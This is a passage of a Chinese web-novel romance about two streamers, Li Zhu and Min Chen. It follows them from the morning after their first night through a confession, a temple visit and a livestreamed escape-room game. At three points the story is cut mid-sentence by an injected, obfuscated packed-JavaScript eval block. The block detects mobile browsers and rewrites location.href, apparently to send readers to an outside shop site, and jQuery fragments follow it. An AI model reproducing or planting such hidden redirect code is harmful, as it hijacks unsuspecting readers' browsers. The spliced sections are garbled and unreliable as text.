卧室灯开着,李竹抽着事后烟,身旁的闵谌早已陷入沉睡。 直白点,他把人弄晕了。 李竹看着他那只碍事的腿,心里暗骂,早不裂晚不裂,这段时间裂什么裂,喵了个叽的。 抽完这根烟,他抱着心头宝睡觉去了。 早晨阳光溜进卧室,把两人包裹在内,闵谌睁开眼被阳光刺了下,又闭上。 他躺在床上放空了会,腰上传来温热,触感应该是只手,那只手动了下,将他整个人揽入一个滚烫的怀抱里。 闵谌大脑死机了。 他慢吞吞扭头,与睡眼惺忪的李竹对视。 闵谌:“……” “早。”李竹声音低沉沙哑,特别是刚睡醒的时候很性感。 闵谌也回了个,“早。” 李竹问:“疼吗?” “什么?” “说出来怕你羞。” 闵谌的脸“唰”地红了,拉着被子盖住自己的脸,闷闷答道:“有点。” 李竹撑着脑袋,嘴角噙着笑看他。 被子里的人顿了几秒后把被子往下拉,“哥原来……这么精神啊。” 李竹春光满面道:“还行,主要是看是对谁了。” 闵谌:“……” 李竹瘸着腿起床穿衣服。 闵谌看着他后背,明显的肌肉线条,流畅的走向,很难不让人着迷。 看着看着,一个想法把他打回现实。 李竹接下来该不会给他一笔钱,当做什么都没发生过吧。 李竹道:“起得来么?起得来我俩聊聊。” 闵谌应了声。 等李竹出卧室他才爬起来火速穿衣服,感受到身后传来疼痛,他差点摔下床。 昨晚发生了什么他都记得,这次喝醉没有断片,是他主动的,当时酒精上头胆子也大了点。 如果李竹真如他所想的那样给他一笔钱,他会接受,并且拿上这笔钱远走高飞,去外地发展,总有一条路适合他。 抱着忐忑的心去了客厅。 李竹面前放着两碗打包好的粥,塑料袋在边上还没丢,一看就是早就点好的外卖。 闵谌走过去拿了一碗粥,毫不犹豫地闷头吃起来。 “闵谌,我觉得既然发生了,我也没必要继续藏着。”李竹低头搅着碗里的白粥,“我之前说了谎,我们以前是同学,不同班的那种,那时候就喜欢你了,后来因为家里原因出国了,等回来的时候,发现你什么都不记得了。我觉得老天对我还挺公平的,你不记得了,歪打正着我俩又碰上了,我粉丝说咱俩俩正缘太强。说了这么多,所以我喜欢十几年的闵谌,愿意和我在一起吗?” 他顿了顿,觉得还不够,伸着头看他又说:“诶,你和我试试呗,我上得了厅堂下得了厨房。” 最后一句话冒出来,本来那点感动的气氛一扫而空,反而有些搞笑。 这笑点来的莫名其妙。 不过,这份表白很惊喜,他不是一个人,原来李竹很早之前就一直喜欢着他。 心里所有不安被抹平,被喜悦填满。 “我第一次见哥就喜欢,生理上和情感上的喜欢,所以我不想和哥试试,想正式的。” - 半个小时后,正在家里打游戏的陈嘉炽被电话轰炸。 他烦躁地拿过手机看了眼。 李竹打来的。 付岁坐在他边上,一条腿膝盖曲起,双手拿着游戏柄,头也不回道:“宝贝,你人呢……谁打的电话?” 陈嘉炽挂掉电话,“一个傻波一。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483932|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “李竹?” “我靠?你居然跟得上我的思路?” “我听你俩每次聚在一起必须掰扯,回家也不忘隔空侮辱他两句。” “……” 电话再次响起。 “干嘛?”陈嘉炽没好气道。 “哦,没什么,就是有件十万火急的事儿告诉你。”李竹语气淡淡地说。 “什么十万火急的事儿?” “通知你一声儿,我谈恋爱了,和闵谌,别羡慕。” 说完没等陈嘉炽开口,立刻挂断电话。 陈嘉炽:“……” “这人有毛病吗?”陈嘉炽越想越气,对着手机破口大骂:“我草了,就他谈恋爱了我没谈?怎么着啊,他谈个恋爱要开个新闻发布会宣告全世界是吧,他个金鸡独立的狗东西……” 后面越骂越难听,付岁直接手动闭麦。 “嘘,宝贝,别气了别气了,我明天也去开新闻发布会。” 陈嘉炽绝望地闭上眼。 家里没个正常人,闵谌除外吧。 李竹背着闵谌偷偷打电话给身边很多人宣布自己临近30谈上恋爱后,换来的是无尽的辱骂和口水。 他与喜欢了十几年的人终成眷属,任谁都会像他一样,表面开心,心里却早已五味杂陈。 李竹骚扰完所有人,美滋滋地发了个朋友圈才消停。 刚在一起第一天,李竹开着轮椅跟在闵谌身后,人走到哪他走到哪,主要还是担心闵谌发烧,毕竟昨晚什么也没带,怎么进去的怎么出来。 闵谌是有点不舒服,不过他比较能忍,承受疼痛是普通人的好几倍,也可以说是痛感迟钝,谈不上没痛觉。 他洗了个澡却发现没带换洗的衣服,开门准备寻求帮助,李竹已经挑了几件干净的衣服等在浴室门口。 他红着脸伸出白皙的手臂去拿衣服,李竹不给他,握住他手腕捏了捏,一脸严肃说: “男朋友,打个商量,你可以搬到我屋里和我一起睡吗?” 闵谌抽回手,发现根本抽不动,只能点头如捣蒜,连声说:“可以可以,哥你把衣服给我。” 李竹露出一个得逞的笑容,慢条斯理地将衣服一件件递给他,到内裤的时候,李竹紧紧抓着不放。 “你动手。”闵谌这下急了。 “待会出去约个会吗?”李竹问。 “约约约,给我。” 李竹这才松手。 闵谌“砰”地一声关上门。 李竹咧着嘴哼着歌,去闵谌卧室收东西,连破了洞的T恤都不放过。 闵谌收拾好来到卧室,衣柜和床头柜大剌剌地敞开,里面空空如也,卧室里只剩下床上四件套。 哦,不,少了两个枕头。 宛若进了盗贼,不盗金银财宝,只盗衣服裤子袜子内裤。 这不变态吗? 变态此时正坐着轮椅停在门口吹了个流氓哨,“男朋友,你房间在隔壁。” 闵谌面红耳赤,第一天在一起被李竹叫男朋友还不太习惯。 他像是报复一般,顶着大红脸梗着脖子学李竹说:“男朋友,有必要连枕头也拿走吗?” 李竹扬眉,笑得痞里痞气,“入室抢劫,你报警吧,把我抓起来,你就整天在家里抓心挠肝的想我。” 闵谌说:“那你抢吧。” 22. 第 22 章 两人第一天约会不知道去哪,还有几天就是国庆假期,到时A市人会很多很拥挤,就在闵谌努力思考出一个地方时,李竹突然说:“陪我一起去一趟道观还个愿呗。” 闵谌点头。 他不打听李竹去还什么愿,只要身边那个人是李竹就行,去哪都不重要,重要的是人。 两人戴好口罩和帽子,外面太阳比第一天到达A市那会还要热,天气预报上已经上升到37度。 李竹还好点,有电动轮椅,闵谌只有两条好腿,遇到难走的路,轮椅开不上去就由闵谌来推。 他有点后悔来还愿了,完全把自己只有一条好腿的事忘得一干二净,满脑子只有谈恋爱的兴奋。 好在这道观有另一条道可以走,坡度不是很高,他那电动轮椅爬得上去,于是他们选择走另一条路。 一个坏心思陡然在李竹心里冒头。 他拍拍自己双腿,慢悠悠拨动着轮椅摇杆跟在闵谌身边。“男朋友,要不要上来坐坐?坐我腿上就不用那么辛苦地走到上边儿了,要不要试试?” 闵谌看了一眼,扭过头小声道:“不坐,光天化日的不好。” 李竹勾着嘴角说:“那晚上回家试试?” 闵谌现在身后还有点疼,果断拒绝:“不。” 李竹乐了。 热烈的阳光照射着他们,地上的影子被拉得很长,像两条交缠的藤蔓,从轮椅蔓延到闵谌脚边延伸出去。 闵谌很少运动,才走了一会儿已经开始大口喘着粗气。距离山顶还有一半距离,两人走到一旁遮阳的亭子休息,李竹主动把自己的座位让出来,闵谌不愿坐,被强行按到座位上。 李竹那条打着石膏的腿现在勉强能行走,只要不是很用力就没什么事。 刚开始闵谌还不愿意坐,现在却觉得轮椅挺好玩,让李竹教他怎么开。 “这个是摇杆,前后左右会吧?” 闵谌点点头。 李竹又指着另一边的按钮,“这个是刹车,你试试。” 闵谌搓搓手,开始学着驾驶轮椅,很简单,没一会他就已经完全熟练,不会把刹车当开关按。 闵谌玩轮椅玩得不亦乐乎,回头一看,李竹落后一大截,他又开回去学着之前李竹的样子说:“要不要上来坐坐?” 李竹“嚯”了声,“我敢坐,你敢给吗?” 闵谌:“......” 自然是不敢的,李竹不要脸他还要,况且现在路上前往道观烧香拜佛的人越来越多。 李竹一瘸一拐走着,闵谌慢悠悠开着轮椅跟在身旁,路上还被两位粉丝认了出来,找他们两人合了两张照片。 “谢谢花儿和竹哥。” “烛影摇红99。” 闵谌腼腆地笑了笑。 李竹跟个花孔雀开屏似的拉着两位粉丝道:“一定会久久的,放心吧,be不了。” 粉丝一捂着嘴,眼珠子在他们俩身上来回转,表情十分好品,“你们是真情侣吗?” 李竹摊手,非常得意:“当然,是那种以后要见家长,摆百八十桌宴席的那种真情侣。” 两位粉丝闻言激动地双手乱舞。 粉丝二道:“那我们可以说出去吗?” 李竹道:“ofcourse。” “妈妈,我磕到真cp了,两位都是我的爱播。” 送走两位粉丝后,李竹忽然道:“我还没询问你的意见呢,介意我把你介绍给我身边人认识吗?或者向粉丝朋友们公开我们的关系。” 闵谌摇摇头,仰头看着他:“不介意,我很开心也很乐意我们是正大光明的情侣。” 没多久两人抵达山顶。 这座道观供着很多神像,但财神爷是最大的一座神像。 闵谌以为李竹要进财神庙去还愿,没想到这人拐到后面的月老庙。 一时间,闵谌突然明白了李竹为什么来还愿,因为愿望实现了,还因为当初许愿另一半对象是他,闵谌。 他心里说不上来是什么滋味,这一瞬间他觉得自己好像把什么都忘了,却还有人在等他,然后一步步靠近,让他落入这个温暖的陷阱里。 李竹走出来,看见闵谌呆呆地坐在门口等他,眼睛没有焦距点,不知道在看什么。 他走过去,伸手在闵谌面前挥了挥。 闵谌立马回神,扯出一个笑容:“还完愿望了?” 他双手插兜,歪着头问:“不想知道我还的什么愿?” 闵谌道:“大概想到了。” 李竹“啧啧”两声,“我的愿望还是太好猜了,我20岁来许的愿,时隔七年来还愿。” “这么早?” “对啊,我从很早就惦记你了,害不害怕?” “不害怕。” 李竹伸手揉了一把闵谌脑袋,发丝钻入指缝,触感丝滑柔软,“走,咱们去拜拜财神爷。” 闵谌站起身的瞬间,旁边路过的老大爷震惊地看着他,脸上表情仿佛在说“华佗再世”。 李竹憋着笑,牵着闵谌进了财神庙,两人在蒲团前站定,双手掐着子午诀抵住眉心处弯腰拜了三下,随后又跪下拜了三下,最后起身又拜三下,心里默念愿望。 子午诀是道家行礼的手势,佛家需双手合十。 完毕后,两人往功德箱里捐了点功德才离开。 山风拂面,风景不错,白云缭绕好似仙境一般,从山顶望下去能透过云层看见山下一座座高矮不一的房子。 有种仙人俯视人间的既视感。 两人看了一会风景,还拍了几张好看的照片,附赠一张两只手牵在一起的照片,统统发到了朋友圈。 没几分钟,朋友红点疯狂增加。 [陈嘉炽:你俩谈个恋爱升天了啊?] [皇子:笑死,根本不羡慕,给我来一打1谢谢。] [假人:无话可说,被骚扰过,祝久久。] [妹妹哥:!!!!!什么时候的事!!!!你们是不是把我孤立了!] [预制菜回复妹妹哥:你但凡每次直播把你那个同意被邀请连线打开,你会发现,其实你孤立了所有人。] [气球:花儿为什么坐在轮椅上?] [直直:懂的都懂,家人们把懂打在公屏上!] [噗噗:恭喜哈恭喜,你们俩注意节制,别光谈恋爱忘了嗷嗷待哺的兄弟们ok?] 闵谌笑着把手机踹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483933|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进兜里,下山比爬山轻松,一路畅通无阻,就是有点费李竹的腿,紧着一条好腿霍霍。 他们商量了下,马上到吃饭时间了,先去吃饭,之后再去玩密室逃脱。 不用走很远,山下就有很多餐馆。 两人随便选了一家看起来环境不错的餐馆,刚走进去就看到个熟悉的人,应该说是李竹熟悉的人。 苏影。 她和另一个女孩子在吃饭,两人有说有笑的,见有人走进来,她们同时抬头看了一眼,苏影看到李竹的那一刻,眼睛瞬间亮了许多。 她兴奋地冲他们招手,“哥,花儿哥,要不要过来一起吃,我们也才刚来,菜也是刚上的。” 闵谌不知道怎么开口,面对不太熟悉的人有些拘谨。 李竹轻轻拍了拍他后背,对苏影道:“不用了,我们吃完还有事儿,你俩吃着,我买单。” 苏影语气低落道:“行吧。” 李竹带着他找了个比较隐秘的地方坐下,这个位置别人看不见,属于角落,四面围着,一张餐桌相当于一个隔间,而且这里的灯光是那种暖色调的,氛围也很好,还放着抒情音乐,老板挺会做生意的。 闵谌拿着菜单问身边人:“你想吃什么?” 李竹撑着头看他,嘴角挂着一抹淡淡的笑,“你吃什么我吃什么,跟男朋友在一起没什么可挑的。” 闵谌对他皱了下鼻子,“吃剩饭吧你。” “闵小花儿,你胆子是越来越大了啊。” 闵谌低头认真用笔在菜单上勾画着,另一只手抬起捏住李竹的嘴,“好了,不要说了。” 李竹笑着抓住他手指在唇边啄了两口。 闵谌点了三份炒菜和一碗筒骨汤,给李竹补身体,毕竟吃什么补什么,他的腿总不能一直瘸着。 饭菜上桌,李竹拿出手机,把手伸到他面前勾了勾。 闵谌不明白什么意思,“怎么了?” “牵手,我拍张照片发朋友圈,炫耀自己真的谈恋爱了。”李竹说。 闵谌心里莫名被填满,从他的角度出发,李竹是个很会给人安全感的伴侣。 他伸出手,两人双手紧紧扣在一起,李竹大拇指按着快门,连续拍了好几张,对着饭菜,对着天花板,对着隔间门口,任何角落都不会放过,最后拍了九宫格发朋友圈。 [麻瓜:两个人当然要十指相扣了。[图片]x9] 公司这群人仿佛住在朋友圈了一样,消息数量从0开始逐渐上涨。 他打算晚上先回家慢慢看,再回去,他脸皮厚,闵谌脸皮薄。 发完朋友圈还不够,他又跑到男厅的娱乐群去发,以至于他第二次被移出群聊。 炫耀够了两人才开始吃饭。 闵谌疯狂给李竹夹筒骨和盛汤,“多喝点,好得快。” 李竹靠着沙发后背,有些好笑地看着他,“怎么,希望我好快点,你好把我轮椅当出门代步车使?” 闵谌给了他一个你猜的表情,转头在他嘴唇边亲了一口,红着脸道:“好好吃饭,我想快点去玩密室逃脱。” 李竹咬牙切齿道:“......你再撩拨我,密室逃脱别想玩了,我带你回家玩点别的。” 23. 第 23 章 密室逃脱是新开的,目前有两个本,一个本有NPC,一个没有。 没有NPC的那个相当于解谜,有NPC的需要过剧情,有追逐过程。 闵谌和李竹两人选择的有NPC的那个本名叫《遗怨》,全程差不多两个小时。 《遗怨》这个本需要4人起开,他们就两个人,还需要拼人,不过老板说几分钟后有一队情侣跟他们拼本。 没多久,迎面走来一对小情侣,女生穿衣风格属于比较飒的那一类,男生全身上下都透着粉,至少肉眼可见的穿着是粉色的。 四个人已经凑齐,老板给他们每人戴上眼罩,手搭肩膀带领四人进去。 李竹举手:“老板,我能开直播吗?” 老板拒绝:“不行,你把手机带进去摔坏了,我可负责不起。” “那你帮我播吧,反正你在看监控。” 老板:“……行。” 李竹掏出手机,打开直播,连招呼也没打,直接把手机交给老板,“麻烦了。” 老板接过手机,然后松开闵谌的胳膊,站到门口,“本次主题是《遗怨》,你们身为探险博主,为了流量不得不踏入一所诡异的孤儿院,请记住你们的身份。现在你们原地等待,等音乐响起时可以摘下眼罩。再次提醒,本次剧情会有NPC带着过,切记不可误伤NPC,不可攻击NPC,祝你们玩得愉快。” 沉重的大门将外面的光线隔绝,闵谌身后是李竹,所以他不用担心。 他闭着眼,总觉得有人在面前看他,甚至能感觉到有什么东西朝他扑来,等了一会儿却什么也没发生。 诡异的音乐响起,他们立刻摘下眼罩,映入眼帘的是昏暗的灯光和杂乱无章、布满血迹的摆设,墙上画着一个诡异的笑脸,旁边写了无数个“对不起”的字样。 一个坐着轮椅身穿白色连衣裙的小女孩朝他们驶来,怀里还抱着个缺胳膊少腿的破旧布娃娃。 她用稚嫩的嗓音问道:“你们是什么人?为什么会出现在这里?” 飒小姐道:“我们是小报社的记者,想来采访院长。” 小女孩点点头,把玩手中的布娃娃,委屈道:“可是院长妈妈已经两天没有回来了,我找不到她,你们可以帮帮我吗?” 四人齐齐应声。 小女孩高兴地说:“谢谢你们,找到院长妈妈一定要告诉我哦。” 李竹也坐着轮椅,跟小女孩平视道:“一定。” 小女孩:“……” 他打着石膏还来玩密室。 李竹:“……” 感觉她在心里偷偷嘀咕我呢。 闵谌伸手勾了下李竹衣领,“哥,前面那个房间亮灯了,我们进去吧。” 李竹“哦”了声,给轮椅转了个弯对小女孩道:“我这电动的,你那手推的,指定跑不过我。” 小女孩:“……” 闵谌扶额。 他不给李竹炫耀自己电动轮椅的机会,直接把人推进亮灯的那间屋子。 屋里有一台电脑,桌上放着两本文件,墙上还贴着人体结构贴纸,屋内天花板上有个鲜红的手掌印。 其中一个文件夹中记录着进出记录,这里应该是间办公室。 闵谌蹲下将那些抽屉一个个打开,能开的抽屉里都装着杂七杂八的垃圾,开到最后一个抽屉时,发现打不开。 他问了句:“有钥匙吗?这柜子需要开锁。” 飒小姐凑过来盯着看了几眼,道:“我来。” 李竹:“你有钥匙?” 飒小姐:“我没有,但是我有耳环。” 闵谌:“……” 李竹:“……” 粉红哥两条腿交叠,双手抱臂道:“我家宝宝很厉害的。” 李竹心想你家宝宝能有多厉害。 下一秒,两人目瞪口呆。 飒小姐取下耳环掰直,借着昏暗的灯光将其插入锁孔里。 咔咔咔。 锁开了。 闵谌:“……” 李竹:“……” 李竹“啪啪啪”鼓掌:“哇偶,老板会冲进来吗?” 老板没有冲进来,而是对着他们手里的对讲机怒吼,痛斥他们所有人:“给我锁回去!你们真是我带过最难带的一批客人!” 直播间: [牛啊。] [笑死了,老板怒了。] [哈哈哈哈哈哈哈。] [看六夜竹直播没有不笑的义务。] 飒小姐只好默默地把耳环掰成跟原来大差不差的模样,又默默地重新将柜子锁上。 忽地头顶吊灯闪烁,一明一暗,再加上诡异的音乐,令人毛骨悚然。 头顶灯光骤然暗下,屋内一片漆黑,伸手不见五指,办公室大门敞开,闵谌站在边上,后背贴着墙。 他其实有点害怕,从一开始进来闭着眼时,眼前一直感觉有东西往他脸上扑,现在灯光熄灭,那种感觉更加强烈。 “呀啊——” 一声凄惨的呐喊乍然从他身后响起,白光不停闪烁。 闵谌被吓了一跳,连人带文件一起被碰翻,他立刻堵着耳朵蹲下,文件刚好以一个离奇的角度打开盖在头顶,给他带来短暂的安全感。 李竹杵在原地则避无可避,总不能开着轮椅去撞NPC。 “呀啊——” NPC又呐喊了一声。 他看到粉红哥鬼鬼祟祟从他身后绕到门边,趁NPC还在努力吓他们的时候,手上使力,把门给关上了。 NPC:“……” 李竹对粉红哥竖了个大拇指,看不看得见不重要,重要的是对方做了他想做的事。 直播间: [来自六夜竹的肯定。] [我心脏要跳出来了。] [卧槽,花儿站那属实受委屈了。] [这粉衣服兄弟牛啊。] [最牛的不是六夜竹吗?原地一动不动。] [笑死了,他想动,只能开着轮椅出去跟NPC互砍,我说实话。] [NPC说他们在挑衅我,特别是坐轮椅那个。] [哈哈哈哈哈哈哈哈哈哈。] 半晌,门外重归安静,众人一颗悬着的心这才放下。 叩叩叩—— 刚放下的心又提了起来。 一颗黑乎乎的脑袋从门缝挤进来,“你们是什么人?” 所有人被吓一跳。 “啊——” 闵谌也没顶住,人最害怕有人突然从背后出现,他站起来时脚下踉跄,李竹去拉他,他却一屁股坐在了李竹腿上。 他满脸恐惧与李竹对视半秒,迅速环抱住李竹脖子,把头埋进人胸口。 李竹自己也被吓得不轻,强忍着剧烈心跳小声安慰闵谌,“不怕,没事没事,应该是走剧情的NPC,不怕啊,不怕。” 他安慰完闵谌,想看看身边飒小姐和粉红哥的情况,不看不要紧,一看李竹缓缓闭上眼,上下嘴唇紧抿,人中都拉长了。 粉红哥跟只八爪鱼似的缠在飒小姐身上,一只脚还在努力地向上跳,飒小姐无奈地仰着头。 直播间: [卧槽!] [我差点把手机丢出去。] [已经狠狠带入了,想一拳把这脑袋打爆。] [烛影摇花99。] [嗯,怎么说呢,好磕的NPC啊。] [前面的姐妹有说法。] 他们这动静也让剧情NPC吓了一跳,缩着脖子推开门,手里的电筒在他们身上扫过,压低声音,道:“你们是什么人,怎么会出现在这?” 李竹拍拍闵谌后背,“我们是叉叉报社的记者,想来采访院长。” 剧情NPC古怪地看了眼他们,小声道:“你们不知道这座孤儿院已经荒废七年了吗?你们有没有见过一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483934|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小女孩?” 众人:“见过。” “那是院长收养的女儿,自从院长消失后她没日没夜都在这座孤儿院找妈妈,不过那小女孩已经死了七年多,你们估计是碰上鬼了。” 粉红哥道:“你也是鬼吧,不然干嘛突然吓我们。” 剧情好NPC:“……我要是鬼你们现在已经被我抓走了。” 粉红哥:“好像也是,那你需要我们干什么?” 剧情NPC没回答,转而问道:“你们在这里面找到了什么东西?” 李竹身上突然一轻,闵谌尴尬地从他身上起来,弯腰捡起地上掉落的文件夹。 “找到了这个。” “里面是什么东西?”剧情NPC伸长脖子问。 打开一看,里面是几张体检单,最前面的就是那个小女孩的体检报告。 闵谌看完心里忍不住吐槽,这家密室逃脱真是有够敷衍的,小女孩名字那栏就写“小女孩”,连个正经的名字都懒得取。 后面还有三张体检报告,上面分别写着院长、院长丈夫,还有一张的名字被人划掉了,看不清。只能从被划掉名字的那张体检单上看出,这人怀孕了,年龄22岁。 令人匪夷所思的是其他人都有标注谁是谁,唯独这张体检单的名字被划掉,应该是个关键人物。 飒小姐凑过来看了眼道:“这还有怀孕的?” 剧情NPC摇摇头:“这个我就不清楚了,我记得七年前没有怀孕的姑娘啊,难道是我记错了?” 他挠挠头,“不应该啊,我在这当了几十年保安了,这座孤儿院所有人我都知道……” 说着他拍拍自己脑袋,长叹一口气,“年纪大咯,什么都记不得咯。” 闵谌把文件夹放回去,动作间一张纸条掉了出来,李竹伸手接住,“这是啥?怎么全是洋文。” “那是药物归纳名单。”剧情NPC突然冒出这么一句来。 李竹拿着那张纸看他,“您还能提醒得再明显点吗?” 剧情NPC摸摸鼻子,嘀嘀咕咕说了句:“这不是怕你从轮椅上站起来捶我么,被吓到的人里面也就你最淡定。” “什么?” “没什么。”剧情NPC连忙转移话题,“这个地方我知道在哪,卫生室,我带你们去。” 剧情NPC说完率先出门招手,催促他们快点跟上:“快,一会那个小女孩回来了。” 闻言大家纷纷跟在他身后,李竹留了个心眼,将那张纸揣进兜里带走。 四个人跟在剧情NPC身后,李竹走在最后。 什么叫转角遇到爱,他们四个就是。 刚拐一个角就看见有一道白光在闪烁,粉红哥指着前面道:“那是什么?” 剧情NPC一看,“快跑快跑!” 李竹在最后,他们不好往回跑,只能往另一个方向拐。 闵谌跑之前还不忘推着李竹跑,粉红哥他们那一组早不知道跑哪去了,小女孩只能追着他们两人跑。 “呀啊——” 闵谌推着李竹跑得不算快,小女孩紧紧跟在身后不远也不近。 就在他准备找个地方躲一下的时候,他的手被抓住,是李竹抓着他,接着电动轮椅跟安装了马达似的“嗖”一下冲出去,与小女孩拉开一大段距离。 然后粉红哥他们突然冲出来,与小女孩来了个脸对脸。 “妈啊——” [卧槽了。] [笑死了,花儿这人能处,还推着六夜竹跑。] [一般这种情况下我都自己跑,其他人随便吧。] [那还说啥了,久久打在公屏上老铁们。] [粉红哥仗义,还知道出来引小女孩。] [老铁们,你看粉红哥像是自愿的吗?] 李竹他们逃过一劫,剧情NPC不知道从哪里冒出来,手里拿着个手电筒对着两人道:“快跟我进来。” 24. 第 24 章 两人跟着剧情NPC进入屋内,里面放着一张桌子、一台已经坏了的电脑和一件沾满血的白大褂,另一边靠墙的位置是药柜,里面摆满了瓶瓶罐罐,上面还贴着手写贴纸,分别标记了哪个是什么药,药瓶东倒西歪,柜子下方的抽屉被锁着,需要输入密码才能解开。 剧情NPC双手在空中挥了挥,嘱咐道:“你们俩别动,在这等我回来。” 闵谌:“好。” 剧情NPC一走,外边粉红哥尖叫声越来越近,“啊——宝宝你在哪!” 看来粉红哥是和飒小姐跑散了。 接着剧情NPC声音传来,“这位同志!快过来我这边!快快快!” 粉红哥边狂奔边喊:“我不!我宝宝不见了!我要去找她!” 剧情NPC:“......” 粉红哥刚好跑过卫生室门口,身后有个小女孩紧追不舍,他喊道:“不是大姐,你不累吗?别追了,我求你了!” 回答他的是小女孩的呐喊:“呀啊——” 闵谌:“……” 李竹:“……” 直播间: [救命,好好笑。] [这个NPC追着粉红哥,追了十条街了还在追。] [这哥们也是执着。] [?????] [我靠,从哪冒出来的?] 两人不由自主地瞪大双眼看着从另一头慢悠悠走来的飒小姐。 他们看看飒小姐,又看看刚跑过去没多久的粉红哥。 剧情NPC过来的时候也吓了一跳,他指着飒小姐:“你从哪冒出来的?” 飒小姐莫名其妙指着身后拐角,“那儿。” 剧情NPC:“……” 这批玩家真难带。 李竹指着刚刚粉红哥跑过的那条路,“你男朋友刚过去。” 飒小姐点头,撩了一把头发不以为意道:“我知道,我刚看到他了。” “哦,”李竹点头,“挺好。” 四个人在这等粉红哥,隔老远都还能听到他的呐喊声,喊的什么没听清,应该是飒小姐的名字。 剧情NPC看不下去了,打着手电筒出去把人逮回来。 粉红哥看见飒小姐那一刻感觉眼泪要冒出来了,扑上去抱住她,“宝宝,呜呜呜呜呜。” 飒小姐又无奈又宠溺地摸摸粉红哥的头,“好了好了,我这不是回来了吗,不哭了不哭了。” 粉红哥抽抽噎噎地点头,“嗯。” 李竹看不下去了,一个大老爷们儿娇弱成这样,属实丢男人的脸。 扭头看闵谌的时候刚好对上视线。 李竹瞬间变脸,嘴角下拉,“花儿…” 闵谌立刻捂住他的嘴,“哥,回家再说,现在什么也别说。” 李竹:“……行。” 剧情NPC看看这个看看那个,最后憋出一句:“那个什么,你们帮我摆下药呗,我老了够不着。” 闵谌点头,“好。” 药柜边的墙上贴着一张药单,结合剧情NPC说的也能猜个大概,就是把这些药按照那张纸上的顺序排好。 他动作很快,短短几分钟就摆好了,但是还剩下好几瓶没有摆。 闵谌望了眼墙上,那张药单边上还有一张,很明显被撕掉了,如果不凑近看根本发现不了,原本另一半药单粘贴的痕迹被褐色血迹掩盖住。 这时候剧情NPC有了作用。 他双手一拍,又一摊,“坏了,那张药单很可能就是我们在办公室看见的那张,应该被小女孩拿走了。” 说着剧情NPC看向他们四人,“你们谁去找小女孩,把药单拿回来?” 粉红哥闻言哭得更大声了。 没谁想出去跟小女孩抢药单,怕不怕另说,主要是小女孩追人时真的会满屋子跑,只要你不回任务地点她就死命追。 李竹突然出声:“小女孩没拿。” 剧情NPC瞪着眼睛看他,强调道:“她没拿那张纸。” 这时坐在轮椅上的李竹慢条斯理地从衣服胸口兜里掏出一张皱巴巴的纸在大家面前展开。 “我拿了。” 闵谌震惊。 飒小姐张大嘴巴。 粉红哥停止哭声。 剧情NPC暗骂了一声,“草。” 直播间: [我造了。] [我什么时候看六夜竹直播才能不笑。] [神人来的。] [六夜竹拿出来的时候有没有人懂我屎一样的笑点。] [这小子从那张纸掉出来就盯着了。] [嚯哈哈哈哈哈,花儿表情。] [一句话硬控所有人的含金量。] [果然是名门的,这样心眼儿能插秧了。] 闵谌问道:“哥什么时候拿的?” 李竹昂着下巴道:“说去卫生室的时候揣进口袋的。” 说着他眉毛扬了扬,“怎么说,我厉害嘛?” 闵谌竖起一个大拇指,“厉害。” 剧情NPC看不下去了,双手在脸上抹了一把,他指着药柜,“既然在手上那就去摆吧。” 看得出来剧情NPC很无奈了,估计是从来没带过这么难带的玩家,不是说他们没带脑子玩,是带了,还带了心眼和那股倔劲,换谁谁心态不崩,作为一个带领大家走完剧情的NPC已经练出心态了,没想到这群人是来破坏他道心的。 三个人把最后那几瓶药摆放好位置退到一边,只听一声很小的“咔哒”声,柜子的锁自动开了。 柜子里面放着三张碎片和一张DNA鉴定报告,上面写着院长的丈夫与妹妹十月怀胎生下的孩子血缘关系高达百分之九十九。 闵谌在心里感叹,这一下子关系也太乱了吧。 照片大致拼接起来,是一张一家三口的照片,只是缺少一个人的头部。 那大概能猜到这张照片缺少头部的人是谁了,应该就是院长丈夫的妹妹,这照片不是院长撕毁的就是小女孩撕毁的。 这边还在分析照片和那份DNA鉴定报告,外边音乐突变,变得急促又空灵,不远处“滋啦”声越来越近,剧情NPC握住李竹的轮椅对他们道:“快走快走,那个小女孩要来了。” 话音一落,也不等他们三人,推着李竹就跑,李竹连说句话的时间也没有,只是匆匆看了眼闵谌就消失在拐角。 闵谌三两下把找到的线索揣进兜里,丢下一句“跑”,人立刻没影了。 他跑出去一瞬间才反应过来,不知道往哪跑。他一个人的情况下随便往哪跑都能遇到小女孩,李竹跟着剧情NPC应该很安全,没什么可担心的了。 很快他就后悔自己没什么可担心的想法了,不过这也是后话。 目前要找到亮着灯的屋子, 